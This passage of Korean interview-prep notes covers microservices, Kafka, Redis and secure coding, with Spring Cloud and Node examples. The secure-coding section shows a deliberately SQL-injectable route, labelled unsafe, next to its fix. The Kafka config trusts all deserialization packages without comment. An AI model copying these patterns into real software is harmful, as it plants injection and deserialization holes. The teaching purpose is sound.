"Event Driven Design은 이벤트의 발생과 처리를 중심으로 하는 아키텍처입니다. Producer가 이벤트를 발생시키면 Consumer가 비동기적으로 처리하여 느슨한 결합을 달성합니다. Event Sourcing과 CQRS 패턴을 통해 확장성과 복원력을 제공하지만, Eventual Consistency와 복잡한 이벤트 관리가 단점입니다."

📚 참고 링크


4. MSA (Microservices Architecture) 설계

📖 정의

MSA는 하나의 큰 애플리케이션을 여러 개의 작고 독립적인 서비스로 분해하여 개발, 배포, 확장하는 아키텍처 스타일입니다.

🏗️ MSA vs Monolith 비교

구분MonolithMicroservices
구조단일 배포 단위독립적인 서비스들
개발단일 기술 스택다양한 기술 스택
배포전체 재배포개별 서비스 배포
확장수직 확장수평 확장
장애전체 시스템 영향서비스별 격리

🎯 MSA 설계 원칙

1. 단일 책임 원칙 (Single Responsibility)

  • 각 마이크로서비스는 하나의 비즈니스 기능만 담당
  • 응집도는 높고 결합도는 낮게 설계

2. 데이터베이스 분리 (Database per Service)

  • 각 서비스는 독립적인 데이터베이스 소유
  • 데이터 일관성은 이벤트를 통해 관리

3. API 우선 설계 (API First)

  • 서비스 간 통신은 잘 정의된 API를 통해서만
  • 내부 구현의 변경이 다른 서비스에 영향 주지 않음

🔧 MSA 핵심 구성 요소

구성요소설명구현 기술
API Gateway외부 요청 라우팅Kong, Zuul, AWS API Gateway
Service Discovery서비스 위치 관리Eureka, Consul, etcd
Circuit Breaker장애 전파 방지Hystrix, Resilience4j
Load Balancer트래픽 분산Nginx, HAProxy, AWS ALB
Message Broker비동기 통신Kafka, RabbitMQ, Redis
Container Orchestration배포 관리Kubernetes, Docker Swarm

📡 서비스 간 통신 패턴

동기 통신

// REST API 호출
const userService = {
  async getUser(userId) {
    const response = await fetch(`http://user-service/users/${userId}`);
    return response.json();
  }
};

// GraphQL
const query = `
  query GetUser($id: ID!) {
    user(id: $id) {
      name
      email
      orders {
        id
        amount
      }
    }
  }
`;

비동기 통신

// Event Publishing
const eventBus = require('./eventBus');

class OrderService {
  async createOrder(orderData) {
    const order = await this.repository.save(orderData);
    
    // 이벤트 발행
    await eventBus.publish('order.created', {
      orderId: order.id,
      customerId: order.customerId,
      amount: order.amount
    });
    
    return order;
  }
}

// Event Consuming
eventBus.subscribe('order.created', async (event) => {
  await inventoryService.reserveItems(event.orderId);
  await paymentService.processPayment(event);
});

📊 MSA 분해 전략

Domain-Driven 분해

User Domain     →  User Service
Order Domain    →  Order Service
Payment Domain  →  Payment Service
Inventory Domain →  Inventory Service

비즈니스 능력 기반 분해

고객 관리  →  Customer Service
주문 처리  →  Order Service
결제 처리  →  Payment Service
재고 관리  →  Inventory Service

🛡️ MSA 패턴들

패턴목적구현 방법
Saga Pattern분산 트랜잭션 관리Choreography, Orchestration
CQRS읽기/쓰기 분리별도 데이터 모델
Event Sourcing상태 변화 추적이벤트 저장소
Bulkhead격리를 통한 안정성자원 분리

✅ 장점

  • 독립적 배포: 서비스별 독립적인 개발/배포 사이클
  • 기술 다양성: 서비스별 최적 기술 스택 선택 가능
  • 확장성: 부하에 따른 선택적 스케일링
  • 장애 격리: 한 서비스 장애가 전체에 미치는 영향 최소화

❌ 단점

  • 복잡성: 분산 시스템의 복잡성
  • 네트워크 지연: 서비스 간 통신 오버헤드
  • 데이터 일관성: 분산 트랜잭션의 어려움
  • 운영 복잡성: 모니터링, 로깅, 디버깅의 어려움

🎯 면접 답변 템플릿 (30초)

"MSA는 애플리케이션을 독립적인 작은 서비스들로 분해하는 아키텍처입니다. 각 서비스는 단일 책임을 가지며 독립적인 데이터베이스를 소유합니다. API Gateway, Service Discovery, Circuit Breaker 등의 패턴을 통해 서비스 간 통신을 관리하며, 확장성과 기술 다양성의 장점이 있지만 분산 시스템의 복잡성과 운영 오버헤드가 단점입니다."

💻 Java MSA 구현 예시

1. API Gateway (Spring Cloud Gateway)

@SpringBootApplication
@EnableDiscoveryClient
public class ApiGatewayApplication {
    public static void main(String[] args) {
        SpringApplication.run(ApiGatewayApplication.class, args);
    }
}

// Gateway 설정
@Configuration
public class GatewayConfig {
    
    @Bean
    public RouteLocator customRouteLocator(RouteLocatorBuilder builder) {
        return builder.routes()
            // 사용자 서비스 라우팅
            .route("user-service", r -> r.path("/api/users/**")
                .filters(f -> f
                    .stripPrefix(1)
                    .circuitBreaker(config -> config
                        .setName("user-service-cb")
                        .setFallbackUri("forward:/fallback/users")))
                .uri("lb://user-service"))
            
            // 주문 서비스 라우팅
            .route("order-service", r -> r.path("/api/orders/**")
                .filters(f -> f
                    .stripPrefix(1)
                    .circuitBreaker(config -> config
                        .setName("order-service-cb")
                        .setFallbackUri("forward:/fallback/orders")))
                .uri("lb://order-service"))
            
            // 결제 서비스 라우팅
            .route("payment-service", r -> r.path("/api/payments/**")
                .filters(f -> f
                    .stripPrefix(1)
                    .addRequestHeader("X-Service", "payment"))
                .uri("lb://payment-service"))
            .build();
    }
}

// Gateway Filter
@Component
public class GlobalFilter implements org.springframework.cloud.gateway.filter.GlobalFilter {
    
    @Override
    public Mono<Void> filter(ServerWebExchange exchange, GatewayFilterChain chain) {
        ServerHttpRequest request = exchange.getRequest();
        
        // 요청 로깅
        System.out.println("Request Path: " + request.getPath());
        System.out.println("Request Method: " + request.getMethod());
        
        // 인증 헤더 체크
        if (!request.getHeaders().containsKey("Authorization")) {
            ServerHttpResponse response = exchange.getResponse();
            response.setStatusCode(HttpStatus.UNAUTHORIZED);
            return response.setComplete();
        }
        
        return chain.filter(exchange);
    }
}

// Fallback Controller
@RestController
public class FallbackController {
    
    @RequestMapping("/fallback/users")
    public ResponseEntity<String> userFallback() {
        return ResponseEntity.ok("User service is temporarily unavailable");
    }
    
    @RequestMapping("/fallback/orders")
    public ResponseEntity<String> orderFallback() {
        return ResponseEntity.ok("Order service is temporarily unavailable");
    }
}

2. Service Discovery (Eureka Server)

@SpringBootApplication
@EnableEurekaServer
public class ServiceRegistryApplication {
    public static void main(String[] args) {
        SpringApplication.run(ServiceRegistryApplication.class, args);
    }
}

// application.yml
server:
  port: 8761

eureka:
  instance:
    hostname: localhost
  client:
    register-with-eureka: false
    fetch-registry: false
    service-url:
      defaultZone: http://${eureka.instance.hostname}:${server.port}/eureka/
  server:
    enable-self-preservation: false
    eviction-interval-timer-in-ms: 10000

3. User Service (마이크로서비스)

@SpringBootApplication
@EnableEurekaClient
@EnableJpaRepositories
public class UserServiceApplication {
    public static void main(String[] args) {
        SpringApplication.run(UserServiceApplication.class, args);
    }
}

// User Entity
@Entity
@Table(name = "users")
public class User {
    @Id
    @GeneratedValue(strategy = GenerationType.IDENTITY)
    private Long id;
    
    @Column(unique = true)
    private String email;
    
    private String name;
    private String password;
    
    @Enumerated(EnumType.STRING)
    private UserStatus status;
    
    @CreationTimestamp
    private LocalDateTime createdAt;
    
    // constructors, getters, setters
}

// User Repository
public interface UserRepository extends JpaRepository<User, Long> {
    Optional<User> findByEmail(String email);
    List<User> findByStatus(UserStatus status);
}

// User Service
@Service
@Transactional
public class UserService {
    
    private final UserRepository userRepository;
    private final PasswordEncoder passwordEncoder;
    private final ApplicationEventPublisher eventPublisher;
    
    public UserService(UserRepository userRepository,
                      PasswordEncoder passwordEncoder,
                      ApplicationEventPublisher eventPublisher) {
        this.userRepository = userRepository;
        this.passwordEncoder = passwordEncoder;
        this.eventPublisher = eventPublisher;
    }
    
    public User createUser(CreateUserRequest request) {
        // 이메일 중복 체크
        if (userRepository.findByEmail(request.getEmail()).isPresent()) {
            throw new UserAlreadyExistsException("User already exists: " + request.getEmail());
        }
        
        // 사용자 생성
        User user = new User();
        user.setEmail(request.getEmail());
        user.setName(request.getName());
        user.setPassword(passwordEncoder.encode(request.getPassword()));
        user.setStatus(UserStatus.ACTIVE);
        
        User savedUser = userRepository.save(user);
        
        // 도메인 이벤트 발행
        eventPublisher.publishEvent(new UserCreatedEvent(savedUser.getId(), savedUser.getEmail()));
        
        return savedUser;
    }
    
    public User getUserById(Long id) {
        return userRepository.findById(id)
            .orElseThrow(() -> new UserNotFoundException("User not found: " + id));
    }
    
    public User updateUser(Long id, UpdateUserRequest request) {
        User user = getUserById(id);
        user.setName(request.getName());
        
        User updatedUser = userRepository.save(user);
        
        // 도메인 이벤트 발행
        eventPublisher.publishEvent(new UserUpdatedEvent(user.getId(), user.getEmail()));
        
        return updatedUser;
    }
}

// User Controller
@RestController
@RequestMapping("/users")
@Validated
public class UserController {
    
    private final UserService userService;
    
    public UserController(UserService userService) {
        this.userService = userService;
    }
    
    @PostMapping
    public ResponseEntity<UserResponse> createUser(@Valid @RequestBody CreateUserRequest request) {
        User user = userService.createUser(request);
        return ResponseEntity.status(HttpStatus.CREATED)
            .body(UserResponse.from(user));
    }
    
    @GetMapping("/{id}")
    public ResponseEntity<UserResponse> getUser(@PathVariable Long id) {
        User user = userService.getUserById(id);
        return ResponseEntity.ok(UserResponse.from(user));
    }
    
    @PutMapping("/{id}")
    public ResponseEntity<UserResponse> updateUser(@PathVariable Long id,
                                                 @Valid @RequestBody UpdateUserRequest request) {
        User user = userService.updateUser(id, request);
        return ResponseEntity.ok(UserResponse.from(user));
    }
}

4. Order Service (다른 마이크로서비스와의 통신)

@SpringBootApplication
@EnableEurekaClient
@EnableFeignClients
public class OrderServiceApplication {
    public static void main(String[] args) {
        SpringApplication.run(OrderServiceApplication.class, args);
    }
}

// Feign Client (서비스 간 통신)
@FeignClient(name = "user-service", fallback = UserServiceFallback.class)
public interface UserServiceClient {
    @GetMapping("/users/{id}")
    UserResponse getUser(@PathVariable("id") Long id);
}

// Fallback 구현
@Component
public class UserServiceFallback implements UserServiceClient {
    @Override
    public UserResponse getUser(Long id) {
        return new UserResponse(id, "Unknown User", "unknown@example.com", "INACTIVE");
    }
}

// Order Service
@Service
@Transactional
public class OrderService {
    
    private final OrderRepository orderRepository;
    private final UserServiceClient userServiceClient;
    private final PaymentServiceClient paymentServiceClient;
    private final ApplicationEventPublisher eventPublisher;
    
    public OrderService(OrderRepository orderRepository,
                       UserServiceClient userServiceClient,
                       PaymentServiceClient paymentServiceClient,
                       ApplicationEventPublisher eventPublisher) {
        this.orderRepository = orderRepository;
        this.userServiceClient = userServiceClient;
        this.paymentServiceClient = paymentServiceClient;
        this.eventPublisher = eventPublisher;
    }
    
    public Order createOrder(CreateOrderRequest request) {
        // 1. 사용자 존재 확인 (다른 서비스 호출)
        UserResponse user = userServiceClient.getUser(request.getUserId());
        if (user == null || "INACTIVE".equals(user.getStatus())) {
            throw new InvalidUserException("Invalid or inactive user: " + request.getUserId());
        }
        
        // 2. 주문 생성
        Order order = new Order();
        order.setUserId(request.getUserId());
        order.setItems(request.getItems().stream()
            .map(item -> new OrderItem(item.getProductId(), item.getQuantity(), item.getPrice()))
            .collect(Collectors.toList()));
        order.setStatus(OrderStatus.PENDING);
        order.calculateTotal();
        
        Order savedOrder = orderRepository.save(order);
        
        // 3. 도메인 이벤트 발행
        eventPublisher.publishEvent(new OrderCreatedEvent(
            savedOrder.getId(),
            savedOrder.getUserId(),
            savedOrder.getTotal()
        ));
        
        return savedOrder;
    }
    
    @CircuitBreaker(name = "payment-service", fallbackMethod = "fallbackProcessPayment")
    @Retry(name = "payment-service")
    @TimeLimiter(name = "payment-service")
    public CompletableFuture<Order> processPayment(Long orderId, PaymentRequest paymentRequest) {
        return CompletableFuture.supplyAsync(() -> {
            Order order = orderRepository.findById(orderId)
                .orElseThrow(() -> new OrderNotFoundException("Order not found: " + orderId));
            
            // 결제 서비스 호출
            PaymentResponse payment = paymentServiceClient.processPayment(paymentRequest);
            
            if (payment.isSuccess()) {
                order.setStatus(OrderStatus.PAID);
                order.setPaymentId(payment.getPaymentId());
                orderRepository.save(order);
                
                // 주문 완료 이벤트 발행
                eventPublisher.publishEvent(new OrderPaidEvent(order.getId(), payment.getPaymentId()));
            } else {
                order.setStatus(OrderStatus.PAYMENT_FAILED);
                orderRepository.save(order);
            }
            
            return order;
        });
    }
    
    // Circuit Breaker Fallback
    public CompletableFuture<Order> fallbackProcessPayment(Long orderId, PaymentRequest paymentRequest, Exception ex) {
        return CompletableFuture.supplyAsync(() -> {
            Order order = orderRepository.findById(orderId)
                .orElseThrow(() -> new OrderNotFoundException("Order not found: " + orderId));
            
            order.setStatus(OrderStatus.PAYMENT_PENDING);
            orderRepository.save(order);
            
            // 나중에 재시도를 위한 이벤트 발행
            eventPublisher.publishEvent(new PaymentRetryEvent(orderId, paymentRequest));
            
            return order;
        });
    }
}

5. Circuit Breaker & Resilience 설정

// Resilience4j 설정
@Configuration
public class ResilienceConfig {
    
    @Bean
    public CircuitBreakerConfigCustomizer circuitBreakerConfigCustomizer() {
        return CircuitBreakerConfigCustomizer.of("payment-service", builder -> builder
            .slidingWindowSize(10)
            .minimumNumberOfCalls(5)
            .failureRateThreshold(50.0f)
            .waitDurationInOpenState(Duration.ofSeconds(30))
            .permittedNumberOfCallsInHalfOpenState(3)
            .automaticTransitionFromOpenToHalfOpenEnabled(true));
    }
    
    @Bean
    public RetryConfigCustomizer retryConfigCustomizer() {
        return RetryConfigCustomizer.of("payment-service", builder -> builder
            .maxAttempts(3)
            .waitDuration(Duration.ofSeconds(2))
            .retryExceptions(ConnectException.class, SocketTimeoutException.class));
    }
    
    @Bean
    public TimeLimiterConfigCustomizer timeLimiterConfigCustomizer() {
        return TimeLimiterConfigCustomizer.of("payment-service", builder -> builder
            .timeoutDuration(Duration.ofSeconds(5))
            .cancelRunningFuture(true));
    }
}

// application.yml 설정
resilience4j:
  circuitbreaker:
    instances:
      payment-service:
        register-health-indicator: true
        sliding-window-size: 10
        minimum-number-of-calls: 5
        failure-rate-threshold: 50
        wait-duration-in-open-state: 30s
        permitted-number-of-calls-in-half-open-state: 3
        automatic-transition-from-open-to-half-open-enabled: true
  
  retry:
    instances:
      payment-service:
        max-attempts: 3
        wait-duration: 2s
        retry-exceptions:
          - java.net.ConnectException
          - java.net.SocketTimeoutException
  
  timelimiter:
    instances:
      payment-service:
        timeout-duration: 5s
        cancel-running-future: true

6. Event-Driven 통신 (Kafka)

// Kafka 설정
@Configuration
@EnableKafka
public class KafkaConfig {
    
    @Bean
    public ProducerFactory<String, Object> producerFactory() {
        Map<String, Object> configProps = new HashMap<>();
        configProps.put(ProducerConfig.BOOTSTRAP_SERVERS_CONFIG, "localhost:9092");
        configProps.put(ProducerConfig.KEY_SERIALIZER_CLASS_CONFIG, StringSerializer.class);
        configProps.put(ProducerConfig.VALUE_SERIALIZER_CLASS_CONFIG, JsonSerializer.class);
        return new DefaultKafkaProducerFactory<>(configProps);
    }
    
    @Bean
    public KafkaTemplate<String, Object> kafkaTemplate() {
        return new KafkaTemplate<>(producerFactory());
    }
    
    @Bean
    public ConsumerFactory<String, Object> consumerFactory() {
        Map<String, Object> props = new HashMap<>();
        props.put(ConsumerConfig.BOOTSTRAP_SERVERS_CONFIG, "localhost:9092");
        props.put(ConsumerConfig.GROUP_ID_CONFIG, "order-service-group");
        props.put(ConsumerConfig.KEY_DESERIALIZER_CLASS_CONFIG, StringDeserializer.class);
        props.put(ConsumerConfig.VALUE_DESERIALIZER_CLASS_CONFIG, JsonDeserializer.class);
        props.put(JsonDeserializer.TRUSTED_PACKAGES, "*");
        return new DefaultKafkaConsumerFactory<>(props);
    }
}

// Event Publisher
@Component
public class EventPublisher {
    
    private final KafkaTemplate<String, Object> kafkaTemplate;
    
    public EventPublisher(KafkaTemplate<String, Object> kafkaTemplate) {
        this.kafkaTemplate = kafkaTemplate;
    }
    
    public void publishOrderCreated(OrderCreatedEvent event) {
        kafkaTemplate.send("order.created", event.getOrderId().toString(), event);
    }
    
    public void publishOrderPaid(OrderPaidEvent event) {
        kafkaTemplate.send("order.paid", event.getOrderId().toString(), event);
    }
}

// Event Listener
@Component
public class OrderEventListener {
    
    @KafkaListener(topics = "order.created", groupId = "inventory-service-group")
    public void handleOrderCreated(OrderCreatedEvent event) {
        // 재고 예약 로직
        System.out.println("Order created: " + event.getOrderId() + ", reserving inventory...");
    }
    
    @KafkaListener(topics = "order.paid", groupId = "shipping-service-group")
    public void handleOrderPaid(OrderPaidEvent event) {
        // 배송 준비 로직
        System.out.println("Order paid: " + event.getOrderId() + ", preparing shipment...");
    }
}

7. Docker & Kubernetes 배포

# Docker Compose (docker-compose.yml)
version: '3.8'
services:
  eureka-server:
    image: user-service:latest
    ports:
      - "8761:8761"
    environment:
      - SPRING_PROFILES_ACTIVE=docker
  
  api-gateway:
    image: api-gateway:latest
    ports:
      - "8080:8080"
    depends_on:
      - eureka-server
    environment:
      - EUREKA_CLIENT_SERVICE_URL_DEFAULTZONE=http://eureka-server:8761/eureka
  
  user-service:
    image: user-service:latest
    ports:
      - "8081:8081"
    depends_on:
      - eureka-server
      - postgres-user
    environment:
      - SPRING_DATASOURCE_URL=jdbc:postgresql://postgres-user:5432/userdb
      - EUREKA_CLIENT_SERVICE_URL_DEFAULTZONE=http://eureka-server:8761/eureka
  
  order-service:
    image: order-service:latest
    ports:
      - "8082:8082"
    depends_on:
      - eureka-server
      - postgres-order
      - kafka
    environment:
      - SPRING_DATASOURCE_URL=jdbc:postgresql://postgres-order:5432/orderdb
      - SPRING_KAFKA_BOOTSTRAP_SERVERS=kafka:9092
      - EUREKA_CLIENT_SERVICE_URL_DEFAULTZONE=http://eureka-server:8761/eureka

# Kubernetes Deployment (order-service-deployment.yml)
apiVersion: apps/v1
kind: Deployment
metadata:
  name: order-service
spec:
  replicas: 3
  selector:
    matchLabels:
      app: order-service
  template:
    metadata:
      labels:
        app: order-service
    spec:
      containers:
      - name: order-service
        image: order-service:latest
        ports:
        - containerPort: 8082
        env:
        - name: SPRING_PROFILES_ACTIVE
          value: "kubernetes"
        - name: EUREKA_CLIENT_SERVICE_URL_DEFAULTZONE
          value: "http://eureka-server:8761/eureka"
        livenessProbe:
          httpGet:
            path: /actuator/health
            port: 8082
          initialDelaySeconds: 60
          periodSeconds: 30
        readinessProbe:
          httpGet:
            path: /actuator/health
            port: 8082
          initialDelaySeconds: 30
          periodSeconds: 10
---
apiVersion: v1
kind: Service
metadata:
  name: order-service
spec:
  selector:
    app: order-service
  ports:
  - port: 8082
    targetPort: 8082
  type: ClusterIP

🔗 MSA Java 출처 및 참고 자료


5. Kafka의 동작 원리

📖 정의

Apache Kafka는 분산 이벤트 스트리밍 플랫폼으로, 대용량 데이터를 실시간으로 처리하기 위한 고성능 메시징 시스템입니다. LinkedIn에서 개발하여 2011년 Apache 프로젝트로 오픈소스화되었습니다.

🏗️ 핵심 구성 요소

구성요소설명역할
Producer메시지 생성자토픽에 데이터 발행
Consumer메시지 소비자토픽에서 데이터 구독
Topic메시지 분류 단위논리적 메시지 채널
Partition토픽 분할 단위병렬 처리 및 확장성
BrokerKafka 서버메시지 저장 및 전달
Zookeeper클러스터 관리메타데이터 및 리더 선출

📊 Kafka 아키텍처

Producer → [Topic Partition 0] → Consumer Group A
        → [Topic Partition 1] → Consumer Group B  
        → [Topic Partition 2] → Consumer Group C

Kafka Cluster (Brokers)
┌─────────────────────────────────┐
│ Broker 1 │ Broker 2 │ Broker 3 │
│ Part 0   │ Part 1   │ Part 2   │
│ Part 1   │ Part 2   │ Part 0   │
└─────────────────────────────────┘

🔄 메시지 처리 흐름

1. Producer 메시지 발행

const kafka = require('kafkajs');

const producer = kafka.producer();

await producer.send({
  topic: 'user-events',
  messages: [
    {
      partition: 0,
      key: 'user123',
      value: JSON.stringify({
        userId: 'user123',
        action: 'login',
        timestamp: Date.now()
      })
    }
  ]
});

2. Consumer 메시지 소비

const consumer = kafka.consumer({ groupId: 'analytics-group' });

await consumer.subscribe({ topic: 'user-events' });

await consumer.run({
  eachMessage: async ({ topic, partition, message }) => {
    console.log({
      key: message.key.toString(),
      value: message.value.toString(),
      partition,
      offset: message.offset,
    });
  },
});

📈 Kafka의 핵심 특징

1. 파티셔닝과 병렬 처리

  • 토픽을 여러 파티션으로 분할하여 병렬 처리
  • 파티션별로 순서 보장
  • 컨슈머 그룹을 통한 부하 분산

2. 내구성과 복제

  • 메시지를 디스크에 영구 저장
  • 복제 팩터를 통한 데이터 복제
  • 리더-팔로워 구조로 고가용성 확보

3. 오프셋 관리

Partition 0: [Msg0] [Msg1] [Msg2] [Msg3] [Msg4]
Offsets:       0      1      2      3      4
                              ↑
                        Consumer Position

⚙️ Kafka 활용 패턴

패턴설명사용 사례
Event Sourcing이벤트 저장소로 활용감사 로그, 상태 복원
Log Aggregation로그 수집 및 전달중앙 로그 시스템
Stream Processing실시간 데이터 처리실시간 분석, 알림
CDC데이터 변경 감지데이터 동기화

📊 성능 특성

특성성능
처리량수백만 메시지/초
지연시간2ms 미만 (SSD 기준)
저장 용량페타바이트급
가용성99.99%

✅ 장점

  • 높은 처리량: 수백만 메시지/초 처리 가능
  • 내구성: 디스크 기반 영구 저장
  • 확장성: 수평적 확장 가능
  • 실시간 처리: 낮은 지연시간

❌ 단점

  • 복잡성: 설정 및 운영의 복잡성
  • 자원 사용: 높은 메모리 및 디스크 사용량
  • 순서 보장: 파티션 내에서만 순서 보장
  • Zookeeper 의존성: 클러스터 관리 복잡성

🎯 면접 답변 템플릿 (30초)

"Kafka는 분산 이벤트 스트리밍 플랫폼으로 대용량 데이터를 실시간 처리합니다. Producer가 토픽에 메시지를 발행하면 Consumer가 구독하여 처리하며, 파티셔닝을 통해 병렬 처리와 확장성을 제공합니다. 높은 처리량과 내구성, 실시간 처리가 장점이지만 설정 복잡성과 높은 자원 사용량이 단점입니다."

📚 참고 링크


6. Redis의 동작 원리

📖 정의

Redis(Remote Dictionary Server)는 인메모리 데이터 구조 저장소로, 데이터베이스, 캐시, 메시지 브로커로 사용되는 오픈소스 NoSQL 데이터베이스입니다. 모든 데이터를 메모리에 저장하여 매우 빠른 읽기/쓰기 성능을 제공합니다.

🏗️ 핵심 데이터 타입

데이터 타입설명활용 사례
String기본 키-값 저장캐싱, 카운터, 세션
Hash필드-값 쌍의 맵사용자 프로필, 설정
List순서가 있는 문자열 리스트큐, 스택, 타임라인
Set중복 없는 문자열 집합태그, 팔로워, 유니크 카운터
Sorted Set점수 기반 정렬된 집합리더보드, 랭킹
Stream로그형 데이터 구조이벤트 스트리밍

💾 메모리 구조와 동작 원리

┌─────────────────────────────────┐
│          Redis Memory          │
├─────────────────────────────────┤
│  Dictionary (Hash Table)        │
│  ┌───────────┬──────────────┐   │
│  │    Key    │    Value     │   │
│  ├───────────┼──────────────┤   │
│  │ "user:1"  │ Hash Object  │   │
│  │ "queue"   │ List Object  │   │
│  │ "cache"   │ String       │   │
│  └───────────┴──────────────┘   │
├─────────────────────────────────┤
│         Expiration Dict         │
└─────────────────────────────────┘

🔄 Redis 클라이언트-서버 동작

1. 기본 연결 및 명령 실행

const redis = require('redis');
const client = redis.createClient();

// String 연산
await client.set('user:1000', 'john');
const username = await client.get('user:1000');

// Hash 연산
await client.hSet('user:1000:profile', {
  name: 'John Doe',
  email: 'john@example.com',
  age: '30'
});

// List 연산
await client.lPush('notifications', 'New message received');
await client.rPop('notifications');

// Set 연산
await client.sAdd('user:1000:tags', 'developer', 'javascript', 'redis');

2. 파이프라이닝

const pipeline = client.multi();
pipeline.set('key1', 'value1');
pipeline.set('key2', 'value2');
pipeline.incr('counter');
const results = await pipeline.exec();

⚡ 성능 최적화 기법

1. 메모리 최적화

  • 압축: 문자열 압축으로 메모리 절약
  • 만료 정책: TTL 설정으로 자동 정리
  • 적절한 데이터 타입: 상황에 맞는 데이터 구조 선택

2. 네트워크 최적화

  • 파이프라이닝: 여러 명령어 배치 처리
  • Connection Pooling: 연결 재사용
  • 압축: 네트워크 전송 데이터 압축

🛡️ 고가용성과 확장성

1. Redis Replication (Master-Slave)

Master Server
     │
     ├── Slave 1 (Read-only)
     ├── Slave 2 (Read-only)
     └── Slave 3 (Read-only)

2. Redis Sentinel

  • 마스터 모니터링 및 자동 페일오버
  • 서비스 디스커버리
  • 설정 제공자

3. Redis Cluster

Cluster Node 1    Cluster Node 2    Cluster Node 3
(Slots 0-5460)    (Slots 5461-10922) (Slots 10923-16383)

💾 영속성 옵션

방식설명장점단점
RDB스냅샷 백업빠른 재시작, 압축 효율데이터 손실 가능
AOF명령어 로그내구성 높음파일 크기 큼
혼합 모드RDB + AOF둘의 장점 결합설정 복잡

📊 주요 활용 사례

1. 캐시 레이어

// Cache-Aside 패턴
async function getUser(userId) {
  // 1. 캐시에서 조회
  let user = await redis.get(`user:${userId}`);
  
  if (!user) {
    // 2. DB에서 조회
    user = await database.findUser(userId);
    
    // 3. 캐시에 저장 (1시간 TTL)
    await redis.setEx(`user:${userId}`, 3600, JSON.stringify(user));
  }
  
  return JSON.parse(user);
}

2. 세션 저장소

// 세션 저장
await redis.setEx(`session:${sessionId}`, 1800, JSON.stringify({
  userId: 'user123',
  permissions: ['read', 'write'],
  loginTime: Date.now()
}));

// 세션 조회
const session = await redis.get(`session:${sessionId}`);

3. 실시간 리더보드

// 점수 추가
await redis.zAdd('leaderboard', { score: 1500, value: 'player1' });

// 순위 조회 (상위 10명)
const topPlayers = await redis.zRevRange('leaderboard', 0, 9, {
  withScores: true
});

⚙️ 성능 특성

특성성능
처리량100,000+ ops/sec
지연시간< 1ms
메모리 효율성높음 (압축, 공유 객체)
확장성수평적 확장 (클러스터)

✅ 장점

  • 빠른 성능: 인메모리 저장으로 매우 빠른 응답 시간
  • 다양한 데이터 구조: 리치한 데이터 타입 지원
  • 영속성: RDB/AOF를 통한 데이터 영속화
  • 확장성: 클러스터링을 통한 수평 확장

❌ 단점

  • 메모리 비용: RAM 크기에 제약
  • 데이터 손실: 전원 장애 시 일부 데이터 손실 가능
  • 단일 스레드: CPU 집약적 작업에서 성능 저하
  • 복잡한 쿼리: SQL 같은 복잡한 쿼리 지원 안함

🎯 면접 답변 템플릿 (30초)

"Redis는 인메모리 NoSQL 데이터베이스로 캐시, 세션 저장소, 메시지 브로커로 사용됩니다. String, Hash, List, Set 등 다양한 데이터 구조를 지원하며, 모든 데이터를 메모리에 저장해 매우 빠른 성능을 제공합니다. RDB/AOF로 영속성을 보장하고 클러스터링으로 확장 가능하지만, 메모리 비용과 단일 스레드 제약이 있습니다."

📚 참고 링크


7. 시큐어코딩

📖 정의

시큐어코딩(Secure Coding)은 소프트웨어 개발 과정에서 보안 취약점을 예방하고 제거하여 안전한 애플리케이션을 개발하는 프로그래밍 기법입니다. 개발 초기 단계부터 보안을 고려하여 코드를 작성함으로써 보안 사고를 사전에 방지합니다.

🛡️ 시큐어코딩의 중요성

측면설명비용 효과
사전 예방개발 단계 보안 적용배포 후 수정 대비 1/30 비용
신뢰성사용자 신뢰도 향상브랜드 가치 증대
법적 준수개인정보보호법 등 준수법적 리스크 감소
비즈니스 연속성서비스 중단 방지운영 안정성 확보

🎯 시큐어코딩 원칙

1. 입력 데이터 검증 및 표현

  • 검증 위치: 서버 측에서 모든 입력 검증
  • 화이트리스트 방식: 허용된 입력만 처리
  • 길이 제한: 적절한 입력 길이 제한
// 안전하지 않은 코드
app.get('/user/:id', (req, res) => {
  const query = `SELECT * FROM users WHERE id = ${req.params.id}`;
  // SQL Injection 위험
});

// 안전한 코드
app.get('/user/:id', (req, res) => {
  const userId = parseInt(req.params.id);
  if (!Number.isInteger(userId) || userId <= 0) {
    return res.status(400).json({ error: 'Invalid user ID' });
  }
  
  const query = 'SELECT * FROM users WHERE id = ?';
  db.query(query, [userId], callback);
});

2. 출력 인코딩

  • 컨텍스트별 인코딩: HTML, JavaScript, CSS 등 상황에 맞는 인코딩
  • 서버 측 인코딩: 클라이언트가 아닌 서버에서 인코딩 수행
// XSS 방지 인코딩
function escapeHtml(unsafe) {
  return unsafe
    .replace(/&/g, "&amp;")
    .replace(/</g, "&lt;")
    .replace(/>/g, "&gt;")
    .replace(/"/g, "&quot;")
    .replace(/'/g, "&#039;");
}

// 사용 예시
const userInput = req.body.message;
const safeOutput = escapeHtml(userInput);
res.send(`<div>${safeOutput}</div>`);

3. 인증과 세션 관리

  • 강력한 인증: 다중 인증 요소 적용
  • 세션 보안: 안전한 세션 ID 생성 및 관리
  • 비밀번호 보안: 강력한 해시 알고리즘 사용
const bcrypt = require('bcrypt');

// 비밀번호 해시화
async function hashPassword(password) {
  const saltRounds = 12;
  return await bcrypt.hash(password, saltRounds);
}

// 세션 보안 설정
app.use(session({
  secret: process.env.SESSION_SECRET,
  resave: false,
  saveUninitialized: false,
  cookie: {
    secure: true,     // HTTPS 전용
    httpOnly: true,   // XSS 방지
    maxAge: 1800000   // 30분
  }
}));

🔍 OWASP Top 10 2021 대응

순위취약점설명대응 방법
A01Broken Access Control접근 제어 실패서버측 권한 검증
A02Cryptographic Failures암호화 실패강력한 암호화 적용
A03Injection인젝션 공격입력 검증, 파라미터화 쿼리
A04Insecure Design불안전한 설계보안 설계 원칙 적용
A05Security Misconfiguration보안 설정 오류보안 강화 설정

🛠️ 시큐어코딩 도구

정적 분석 도구 (SAST)

  • SonarQube: 코드 품질 및 보안 분석
  • ESLint: JavaScript 보안 룰 적용
  • Semgrep: 다양한 언어 지원 보안 스캐너

동적 분석 도구 (DAST)

  • OWASP ZAP: 웹 애플리케이션 취약점 스캔
  • Burp Suite: 웹 보안 테스트 도구

📋 시큐어코딩 체크리스트

입력 검증

  • 모든 사용자 입력에 대한 검증 수행
  • 서버 측에서 입력 검증 실시
  • 화이트리스트 방식 사용
  • 적절한 길이 및 형식 제한

출력 인코딩

  • 사용자 입력 출력 시 인코딩 적용
  • 컨텍스트에 맞는 인코딩 사용
  • XSS 방지 헤더 설정

인증 및 권한

  • 강력한 비밀번호 정책 적용
  • 세션 타임아웃 설정
  • 권한 검증 로직 구현

✅ 장점

  • 사전 예방: 보안 사고 예방을 통한 비용 절감
